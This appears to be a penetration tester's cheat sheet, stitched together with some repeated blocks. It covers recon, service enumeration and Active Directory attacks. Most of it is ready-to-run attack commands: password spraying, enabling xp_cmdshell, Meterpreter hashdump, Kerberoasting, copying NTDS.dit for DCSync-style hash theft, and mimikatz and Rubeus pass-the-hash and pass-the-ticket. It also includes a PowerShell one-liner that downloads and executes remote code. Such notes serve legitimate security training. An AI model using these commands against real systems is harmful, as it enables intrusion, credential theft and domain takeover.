Is a modern vulnerable web application written in Node.js, Express, and Angular which showcases the entire OWASP Top Ten along with many other real-world application security flaws.
There is more than meets the eye. Consider all points of view.
2.
Distinguish between what we see and what we do not see.
3.
There are always ways to gain more information. Understand the target.
Layer
Name
Goal / Purpose
1
Internet Presence
Discover Assets: Identify all public-facing domains, subdomains, IPs, and netblocks.
2
Gateway
Analyze the Perimeter: Understand the target’s external interfaces and protection mechanisms (e.g., WAF, firewall).
3
Accessible Services
Enumerate Services: Identify and understand the function of every open port and running service on the discovered assets.
4
Processes
Understand Functionality: Analyze how data is processed by services and identify dependencies between inputs and outputs.
5
Privileges
Identify Permissions: Determine the privileges of each service’s user account and look for overlooked or excessive permissions.
6
OS Setup
Internal Recon: After gaining access, gather information on the OS configuration, security posture, and admin practices.
External Recon (Passive OSINT)
Data Point
Description
IP Space
Valid ASN for our target, netblocks in use for the organization’s public-facing infrastructure, cloud presence and the hosting providers, DNS record entries, etc.
Domain Information
Based on IP data, DNS, and site registrations. Who administers the domain? Are there any subdomains tied to our target? Are there any publicly accessible domain services present? (Mailservers, DNS, Websites, VPN portals, etc.) Can we determine what kind of defenses are in place? (SIEM, AV, IPS/IDS in use, etc.)
Schema Format
Can we discover the organization’s email accounts, AD usernames, and even password policies? Anything that will give us information we can use to build a valid username list to test external-facing services for password spraying, credential stuffing, brute forcing, etc.
Data Disclosures
For data disclosures we will be looking for publicly accessible files ( .pdf, .ppt, .docx, .xlsx, etc. ) for any information that helps shed light on the target. For example, any published files that contain intranet site listings, user metadata, shares, or other critical software or hardware in the environment (credentials pushed to a public GitHub repo, the internal AD username format in the metadata of a PDF, for example.)
Breach Data
Any publicly released usernames, passwords, or other critical information that can help an attacker gain a foothold.
Domaintools, PTRArchive, ICANN, manual DNS record requests against the domain in question or against well known DNS servers, such as 8.8.8.8.
Social Media
Searching Linkedin, Twitter, Facebook, your region’s major social media sites, news articles, and any relevant info you can find about the organization.
Public-Facing Company Websites
Often, the public website for a corporation will have relevant info embedded. News articles, embedded documents, and the “About Us” and “Contact Us” pages can also be gold mines.
HaveIBeenPwned to determine if any corporate email accounts appear in public breach data, Dehashed to search for corporate emails with cleartext passwords or hashes we can try to crack offline. We can then try these passwords against any exposed login portals (Citrix, RDS, OWA, 0365, VPN, VMware Horizon, custom applications, etc.) that may use AD authentication.
via DNS
Great to validate and discover new information, especially from IP and ASN searches.
# Use a userlistwget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
# AD Username Brute-Forcekerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>
Find High Value Users
# via SMBnxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"# via LDAP# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count
via Social Media
Check various sites, especially for different types of IT admins, to skim information about hardware, software, or services used:
# Domain => Subdomains via Cert Registrycurl -s "https://crt.sh/?q=<DOMAIN>&output=json" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u | tee subdomainlist.txt
# Full Info for i in $(cat subdomainlist.txt) ; do host $i | tee -a hostinfo.txt ; done# (IPv4) Domain Name => IP Addressfor i in $(cat subdomainlist.txt) ; do host $i | grep "has address" | cut -d" " -f1,4 | tee -a domain_ipaddress.txt ; done# (IPv4) Addresses Onlyfor i in $(cat domain_ipaddress.txt) ; do host $i | grep "has address" | cut -d" " -f4 | tee -a ip-addresses.txt ; done# (IPv4) Addresses => Services via Shodanfor i in $(cat ip-addresses.txt) ; do shodan host $i ; done# DNS: old techniquedig any <DOMAIN>
# Content Search: google.com Dorkinurl:<DOMAIN> intext:<TERM>
LLMNR & NBT-NS
UDP 5355: LLMNR (modern)
UDP 137: NBT-NS (ancient)
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that used as failover protocols when DNS is unavailable.
On a Windows, the box will attempt to resolve a hostname in this order:
Checks Local HOSTS file.
Checks DNS Cache / DNS Server.
(If DNS Fails): Sends LLMNR Multicast.
(If LLMNR Fails): Sends NBT-NS Broadcast.
Remediation
Typically, disabling LLMNR and NBT-NS can cautiously used (to ensure no breakages) at the network or host-level.
Disable LLMNR by:
Group Policy –>
Computer Configuration –>
Administrative Templates –>
Network –>
DNS Client
Enable “Turn OFF Multicast Name Resolution”
Disable NBT-NS (locally only on each host or via GPO w/ PowerShell):
Network and Sharing Center –>
Control Panel –>
Change adapter settings
Right-clicking on the adapter –> properties –>
Selecting Internet Protocol Version 4 (TCP/IPv4) –> Properties –> Advanced –> selecting the WINS tab
Allow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE?
# Connect to FTP server in passive mode with anonymous login# Username: anonymous# Password: (no password required)ftp -p -a <TARGET>
ftp -p ftp://<USER>:<PASS>@<TARGET>
# Turn off passive modepassive
# List files and directoriesls -la
ls -laR
# Read fileget <FILENAME> -
# Download fileget <FILENAME>
# Upload fileput <FILENAME>
# Download ALL filesmkdir ftp_files
wget -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET>
# Execute local commands (outside of session)!<COMMAND>
This setting adjusts log verbosity, the submitted passwords, and the scheme gets logged.
auth_verbose
Logs unsuccessful authentication attempts and their reasons.
auth_verbose_passwords
Passwords used for authentication are logged and can also be truncated.
auth_anonymous_username
This specifies the username to be used when logging in with the ANONYMOUS SASL mechanism.
# Enumeratesudo nmap -n -Pn -sV -sC -p25,110,143,465,587,993,995 <TARGET>
### Non-Interactive# IMAPScurl -vkL --user '<USER>':'<PASSWORD>''imaps://<TARGET>' -X <COMMAND>
# POP3Scurl -vkL --user '<USER>':'<PASSWORD>''pop3s://<TARGET>' -X <COMMAND>
### Interactive# IMAPSopenssl s_client -connect <TARGET>:imaps
1 LOGIN <USERNAME> <PASSWORD>
1 LIST "" * # Lists all directories1 SELECT "<MAILBOX>"# Selects a mailbox1 UNSELECT "<MAILBOX>"# Exits the selected mailbox1 FETCH <ID> all # Metadata of email1 FETCH 1:* (BODY[])# Show all emails1 CREATE "INBOX"# Creates a mailbox with a specified name1 DELETE "INBOX"# Deletes a mailbox1 RENAME "ToRead""Important"# Renames a mailbox1 LSUB "" * # Returns a subset of names from the set of names that the User has declared as being active or subscribed1 CLOSE # Removes all messages with the Deleted flag set1 LOGOUT # Closes the connection# POP3sopenssl s_client -connect <TARGET>:pop3s
USER <USERNAME>
PASS <PASSWORD>
STAT # List num of saved emails from the server.LIST # List number and size of all emails.RETR <ID> # Deliver the requested email by ID.DELE <ID> # Delete the requested email by ID.CAPA # Display the server capabilities.RSET # Reset the transmitted information.QUIT # Close connection
mysql - is the system database that contains tables that store information required by the MySQL server
information_schema - provides access to database metadata
performance_schema - is a feature for monitoring MySQL Server execution at a low level
sys - a set of objects that helps DBAs and developers interpret data collected by the Performance Schema
secure_file_priv may be set as follows:
If empty, the variable has no effect, which is not a secure setting.
If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
If set to NULL, the server disables import and export operations
With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties. Another attack possibility would be to spoof the email and read it.
Management Information Base (MIB) is a text file of Object Identifier (OID) s, which provide addresses to access device info, in the Abstract Syntax Notation One (ASN.1) based ASCII text format. Community Strings are sort of “passwords” to manage the access level.
Dangerous Settings
Settings
Description
rwuser noauth
Provides access to the full OID tree without authentication.
rwcommunity <COMMUNITY_STRING> <IPv4_ADDR>
Provides access to the full OID tree regardless of where the requests were sent from.
rwcommunity6 <COMMUNITY_STRING> <IPv6_ADDR>
Same access as with rwcommunity with the difference of using IPv6.
# Enum via nmapsudo nmap -n -Pn -sU -p161 -sV --script 'snmp*' --reason -oA nmap_snmp_scan <TARGET>
### Brute-force names of Community Strings# - Default Strings: "public" (Read-Only) and "private" (Read/Write) are commononesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET>
// probably "public"### Brute-force OIDs and info# -v 1,2c,3snmpwalk -v <VERSION> -c <COMMUNITY_STRING> <TARGET> .1
### Brute-force OIDs# -2 : use v2# braa usu. uses Version 1braa <COMMUNITY_STRING>@<TARGET>:.1.*
braa <COMMUNITY_STRING>@<TARGET>:.1.3.6.*
master - keeps the information for an instance of SQL Server.
msdb - used by SQL Server Agent.
model - a template database copied for each new database.
resource - a read-only database that keeps system objects visible in every database on the server in sys schema.
tempdb - keeps temporary objects for SQL queries.
xp_cmdshell:
xp_cmdshell is a powerful feature and disabled by default. It can be enabled and disabled by using the Policy-Based Management or by executing sp_configure
The Windows process spawned by xp_cmdshell has the same security rights as the SQL Server service account
xp_cmdshell operates synchronously. Control is not returned to the caller until the command-shell command is completed
Weak & default sa credentials. Admins may forget to disable this account
# Enumerate via nmapsudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <TARGET>
# Enumerate via MSFuse auxiliary/scanner/mssql/mssql_ping
set RHOSTS <TARGET>
run
### Login via Windows authimpacket-mssqlclient -windows-auth <DOMAIN>/<USER>@<TARGET>
impacket-mssqlclient <USER>:<PASSWORD>@<TARGET>
SELECT @@version;
SELECT user_name();
SELECT system_user;
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1+ is admin
# UsersSELECT name FROM master..syslogins;
# DatabasesSELECT name FROM master..sysdatabases;
# show tables ;USE <DATABASE> ;
SELECT name FROM sys.tables;
Read Files
SELECT*FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
enable_xp_cmdshell
EXECUTE sp_configure 'show advanced options', 1RECONFIGURE
EXECUTE sp_configure 'xp_cmdshell', 1RECONFIGURE
xp_cmdshell <COMMAND>#or run linked server command
EXECUTE('xp_cmdshell ''<DOS_CMD>''') AT [<LINKED_SERVER>]
Impersonate User
SELECTdistinct b.name FROM sys.server_permissions a INNERJOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name ='IMPERSONATE' ;
GO# Impersonating the SA UserUSE master
EXECUTEAS LOGIN ='sa'# Verify
SELECTSYSTEM_USERSELECT IS_SRVROLEMEMBER('sysadmin')
#0isNOTadmin
# Install exploit manuallycp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-dbpushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSFreload
reload_all
### Search# <type>/<os>/<service>/<name># Search for port and name, showing exploits onlysearch type:exploit platform: port:<PORT> name:<NAME>
# grepgrep meterpreter grep reverse_tcp show payloads
# Set all LHOST to tunnel IPsetg LHOST tun0
📊 Meterpreter Survey
sysinfo
getuid
getpid
ipconfig
ps
# Linux flag searchsearch -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt
# Windows flag searchsearch -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt
# REMEMBER: for Windows, quoting and double slashes cat "C:\\Programs and Files (x86)\\"# Migrateps -s | grep svchost
migrate <PID>
getsystem
getprivs
# List security tokens of user and grouplist_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token
# Dumps credshashdump # CrackStationlsa_dump_sam
lsa_dump_secrets
# Better dump credsload kiwi
creds_all
# === WINDOWS ===run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares
# --- Privilege Escalation & Credential Gathering ---run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester
🗄️ DB for Targets
# Check database status from within msfconsoledb_status
# Database Backend Commandsdb_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save
# Manage workspacesworkspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>
hosts
loot
notes
services
vulns
creds
# Using database hosts for a modulehosts -R # set RHOSTS from hostsservices -S <SEARCH>
enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:
Tool
Ports
nmblookup
137/UDP
nbtstat
137/UDP
net
139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient
135/TCP
smbclient
445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMBnetexec smb <TARGET> --pass-pol
netexec smb <TARGET> -u <USER> -p <PASS> --pass-pol
# via RPCrpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo # get domain and password policy# via LDAP anon bind (Win Server 2003)# pwdProperties: password complexityldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# via netnet use \\<TARGET>\ipc$ "" /u:""net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>
# via net accountsnet accounts
NOTE: “If asking for the policy does not fit the expectations of the assessment or the client does not want to provide it, we should run one, max two, password spraying attempts (regardless of whether we are internal or external) and wait over an hour between attempts if we indeed decide to attempt two”
Brute-Force: 1 user against 1 target using many passwords (alternates passwords)
RISK of account lock d/t account lockout policy – find valid creds for user (only option or valuable account)
Spraying: many users against many targets using 1 password (alternates users)
no risk of account lockout – “hail Mary” to find any way in!
Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if “…you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset…”
Linux
# Check netexec -h for servicesnetexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'# via RPCfor u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done# via Kerbrutekerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS> <PASSWORD>
Local Auth
This tries local authentication instead of domain authentication. Mitigated with:
By default, the script “smartly” checks account logon policy and pulls users from the current domain (minus disabled accounts). Users can be specified with -UserList and the domain with -Domain respectively.
# Use a userlistwget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
# AD Username Brute-Forcekerbrute userenum --dc <DC_IP> -d <DOMAIN_NAME> <USERNAME_LIST>
Find High Value Users
# via SMBnxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"# via LDAP# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count
BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.
Pre-Requisites
# Start and reset password for BloodHound via Dockerbloodhound-cli check
bloodhound-cli up
bloodhound-cli resetpwd
Collecting Info
# Bloodhound/SharpHound - AD Mappingpowershell -ep bypass
Import-Module .\Downloads\SharpHound.ps1
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN>
# - OR# SharpHound.exe alternative.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>
Uploading Info
Transfer Bloodhound data to attacker
Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest
Analysis and Queries
# Search Box >domain:<DOMAIN>
### Pre-Built Queries# Domain Info > Analysis ># Out-of-date Computers (for Exploits)Find Computers with Unsupported Operating Systems
# Find Logged-In/Cached Domain AdminsFind Computers where Domain Users are Local Admin
# Look for module (typically only on DC and some servers)Get-Module -ListAvailable ActiveDirectory
# Import AD ModuleImport-Module ActiveDirectory
# Basic domain info# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addomain?view=windowsserver2022-psGet-ADDomain
# Search for Kerberoastable accounts (requires Domain user)# (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS)# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-psGet-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Verify domain trust relationships# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=windowsserver2022-psGet-ADTrust -Filter *
# Group Enumeration# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-psGet-ADGroup -Filter * | select name
Get-ADGroup -Identity "<GROUP_NAME>"# https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember?view=windowsserver2022-psGet-ADGroupMember -Identity "<GROUP_NAME>"
# Basic Host Infowmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List
# Basic Domain Infowmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress
# Security Patcheswmic qfe get Caption,Description,HotFixID,InstalledOn
# Process Listwmic process list /format:list
# Domain and DC Infowmic ntdomain list /format:list
# Users on the Domainwmic useraccount list /format:list
# Local Groups Infowmic group list /format:list
# System Accounts Infowmic sysaccount list /format:list
net Version
These could be potentially heavily monitored. Try net1 instead of net will execute the same functions without the potential trigger from the net string.
# Information about password requirementsnet accounts
# Password and lockout policynet accounts /domain
# Information about domain groupsnet group /domain
# List users with domain admin privilegesnet group "Domain Admins" /domain
# List of PCs connected to the domainnet group "Domain Computers" /domain
# List PC accounts of domains controllersnet group "Domain Controllers" /domain
# User that belongs to the groupnet group <DOMAIN_GROUP> /domain
# List of domain groupsnet groups /domain
# All available groupsnet localgroup
# List users that belong to the administrators group inside the domainnet localgroup administrators /domain
# Information about a group (admins)net localgroup Administrators
# Add user to administratorsnet localgroup administrators <USER> /add
# Check current sharesnet share
# Get information about a user within the domainnet user /domain <USER>
# List all users of the domainnet user /domain
# Information about the current usernet user %username%
# Mount the share locallynet use Z: \\<TARGET>\<SHARE>
# Get a list of computersnet view
# Shares on the domainsnet view /all /domain[:<DOMAIN>]# List shares of a computernet view \\<TARGET> /ALL
# List of PCs of the domainnet view /domain
Native tool to find AD objects. Only exists on hosts installed with Active Directory Domain Services Role and at C:\Windows\System32\dsquery.dll.
# Query all users or computersdsquery user
dsquery computer
# Query filter for all users in a Domaindsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>"# Users With Specific Attributes Set (PASSWD_NOTREQD)# 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be setdsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
# Search DCs in Current Domaindsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
# Search disabled accountsdsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
# Get Current PS Execution PolicyGet-ExecutionPolicy -List
# OverrideSet-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
# Pull any other tools via HTTPpowershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"
ForceChangePassword abused with Set-DomainUserPassword
Add Members abused with Add-DomainGroupMember
GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember
GenericWrite abused with Set-DomainObject
WriteOwner abused with Set-DomainObjectOwner
WriteDACL abused with Add-DomainObjectACL
AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember
AddSelf abused with Add-DomainGroupMember
Top ACL Attacks
ForceChangePassword - gives us the right to reset a user’s password without first knowing their password (should be used cautiously and typically best to consult our client before resetting passwords).
GenericWrite - gives us the right to write to any non-protected attribute on an object. If we have this access over a user, we could assign them an SPN and perform a Kerberoasting attack (which relies on the target account having a weak password set). Over a group means we could add ourselves or another security principal to a given group. Finally, if we have this access over a computer object, we could perform a resource-based constrained delegation attack which is outside the scope of this module.
AddSelf - shows security groups that a user can add themselves to.
GenericAll - this grants us full control over a target object. Again, depending on if this is granted over a user or group, we could modify group membership, force change a password, or perform a targeted Kerberoasting attack. If we have this access over a computer object and the Local Administrator Password Solution (LAPS) is in use in the environment, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement or privilege escalation in the domain if we can obtain privileged controls or gain some sort of privileged access.
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
Domain Misconfigurations
DNS Record Enumeration (adidnsdump)
Resolves hidden records in the DNS zone that standard enumeration misses.
# Dump all DNS records (Authenticated)adidnsdump -vr -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP>
# Resolve unknown records (A Query)adidnsdump -u <DOMAIN>\<USER> -p <PASSWORD> ldap://<DC_IP> -r
User Attributes Mining
Hunting for passwords in descriptions and weak account configurations.
Kerberoasting involves any valid domain user requesting a Ticket Granting Service (TGS) for an SPN. The TGS is encrypted with the service’s NTLM password hash, which if a human-readable password was set, can be cracked to reveal a password. The service is often times a local administrator. The key point is this technique must use password cracking to reveal the password; otherwise, only the TGS and an authorized user can access the service . Hence, an uncrackable password will prove fruitless.
One must have 1 of the following:
an account’s cleartext password or NTLM hash
a shell in the context of a domain user account (Kerberos ticket)
# Show Kerberoastable info.\Rubeus.exe kerberoast /stats
# Show Kerberoastable admins.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
# Kerberoast User# NOTE: /tgtdeleg attempts to force RC4 enc.\Rubeus.exe kerberoast /nowrap /tgtdeleg /user:<USER>
NOTE: This RC4 downgrade does not work against a Windows Server 2019 Domain Controller. It will always return a service ticket encrypted with the highest level of encryption supported by the target account
# Get TGS for UserGet-DomainUser -Identity <USER> | Get-DomainSPNTicket -Format Hashcat
# Get ALL TGSGet-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv -NoTypeInformation .\<OUTFILE>
via Manual Method
# REQUIRED: declare new typeAdd-Type -AssemblyName System.IdentityModel
# Request and load all TGS for all SPNs into memory# NOTE: these will need to be dumped from memorysetspn.exe -T <DOMAIN> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim()}# Dump TGS from memory.\mimikatz.exe
base64 /out:true
kerberos::list /export
# Format Base64 TGSecho '<TGS_BASE64>' | tr -d \\n | base64 -d > vmware.kirbi
kirbi2john vmware.kirbi > crackme.txt
# Linux Alternative (Kerbrute)# Brute-force users AND auto-check for AS-REP Roastingkerbrute userenum -d <DOMAIN> --dc <DC_IP> <USERLIST>
DCSync
Steals the Active Directory password database by using the built-in Directory Replication Service Remote Protocol, which is used by Domain Controllers to replicate domain data, allowing an attacker to mimic a DC to retrieve user NTLM password hashes.
REQUIRES: DS-Replication-Get-Changes or DS-Replication-Get-Changes-All Permission
# Copy NTDS.dit# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEMvssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# Download it and impacket-secretsdumpimpacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easiernetexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil
Escalating and Pivoting
Pass the Key (PtK) / OverPass the Hash (OtH)
Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.
# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.# Can use /ntlm, /aes128, or /aes256sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe
Option B: Rubeus (Request & Inject)
# Requests a TGT from the KDC and immediately injects it (/ptt)# Can use /rc4 (NTLM), /aes128, or /aes256.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>
Pass the Ticket (PtT)
Windows
Mimikatz
# 1. Export tickets from memory to .kirbi files.\mimikatz.exe "privilege::debug""sekurlsa::tickets /export" exit
# $ : machine tickets (computers)# @ : service tickets (users)# 2. Inject Ticket.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>""misc::cmd" exit
Rubeus
# Enumerate tickets currently in session.\Rubeus.exe triage
# Export tickets to base64 (for copy-paste).\Rubeus.exe dump /nowrap
# Pass from File.\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>"# Pass from Base64 String.\Rubeus.exe ptt /ticket:"<BASE64_STRING>"# Convert File to Base64 (PowerShell Helper)[Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>"))# Advanced: Extract & Pass John's ticket automatically (Regex One-Liner)$raw = .\Rubeus.exe dump /user:john /nowrap | Out-String
$ticket =[Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", "".\Rubeus.exe ptt /ticket:$ticket
klist
# Backup current keytabcp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK
# Use current keytabexport KRB5CCNAME=KEYTAB.BAK
# Enumerate AD information# https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmdrealm list
# Check for ADgrep -i "sss\|winbind\|ldap" /etc/nsswitch.conf
ps -ef | grep -i "winbind\|sssd"env | grep -i krb5
# Find keytabssudo find / \( -iname '*keytab*' -o -iname '*.kt'\) -ls 2>/dev/null
# List cached Kerberos ticketsklist
# Backup current keytabcp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak
# Use current keytabexport KRB5CCNAME=$(pwd)/current.kt.bak
# Extract hashes from keytab files# https://github.com/sosdave/KeyTabExtractpython3 keytabextract.py <KEYTAB_FILE>
# Use keytab# NOTE: not all cached keytabs are validls -la /tmp/krb5cc*
cp -v <KEYTAB> $HOME/current.kt.bak
export KRB5CCNAME=$HOME/current.kt.bak
# Show keytabsklist
# Use keytabkinit -k '<NAME>'smbclient //<TARGET>/C$ -k -no-pass -c 'ls'
Double Hop Problem
There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.
Enumeration of the Problem
Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.
Command
Output Indicator
Meaning
klist
Missing krbtgt/DOMAIN
You have no TGT. You cannot request tickets for other servers.
klist
Present HTTP/Hostname
You only have a service ticket for the current box.
mimikatz
Password : (null)
LSASS has no cached credentials for your session.
dir \\DC01\C$
Access is denied / Anonymous Logon
The target sees you as “Anonymous” because no creds were forwarded.
Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.
# 1. Register the Session (On Jump Box)Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force
# 2. Connect to it (From Attack/Start Box)Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>"# 3. Verifyklist # You should now see the krbtgt ticket
Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.
# 1. Inject a TGT using the hash (or AES key).\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt
# 2. Verifyklist # You now have a krbtgt ticket# 3. Pivotls \\<DC_NAME>\C$ # Works natively now
Method 4: Mimikatz PtH (Legacy / Risky in WinRM)
Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.
# /run:powershell might hang WinRM depending on the shell stability.# Use Rubeus (Method 3) if possible.mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exit
Create Fake SPN
Create a fake SPN to Kerberoast a user. This will require proper enumeration and a vector to have the right privileges.
See more about… Change User Password via PowerView
These modules live inside LSASS to handle specific tasks.
DLL Name
Function / Description
Lsasrv.dll
The Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dll
Local / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dll
Domain. Handles Kerberos ticket requests and validation.
Samsrv.dll
SAM Interface. Talks to the local SAM database.
Netlogon.dll
Network. Handles the secure channel for network logons.
Ntdsa.dll
AD Interface. Used to create/manage records in the Registry or AD.
3. Credential Storage Locations
Local Users (SAM)
File Path:%SystemRoot%\system32\config\SAM
Registry Mount:HKLM\SAM
Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
Content: Local user NTLM/LM hashes.
Registry Hive
Description
HKLM\SAM
Contains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEM
Stores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITY
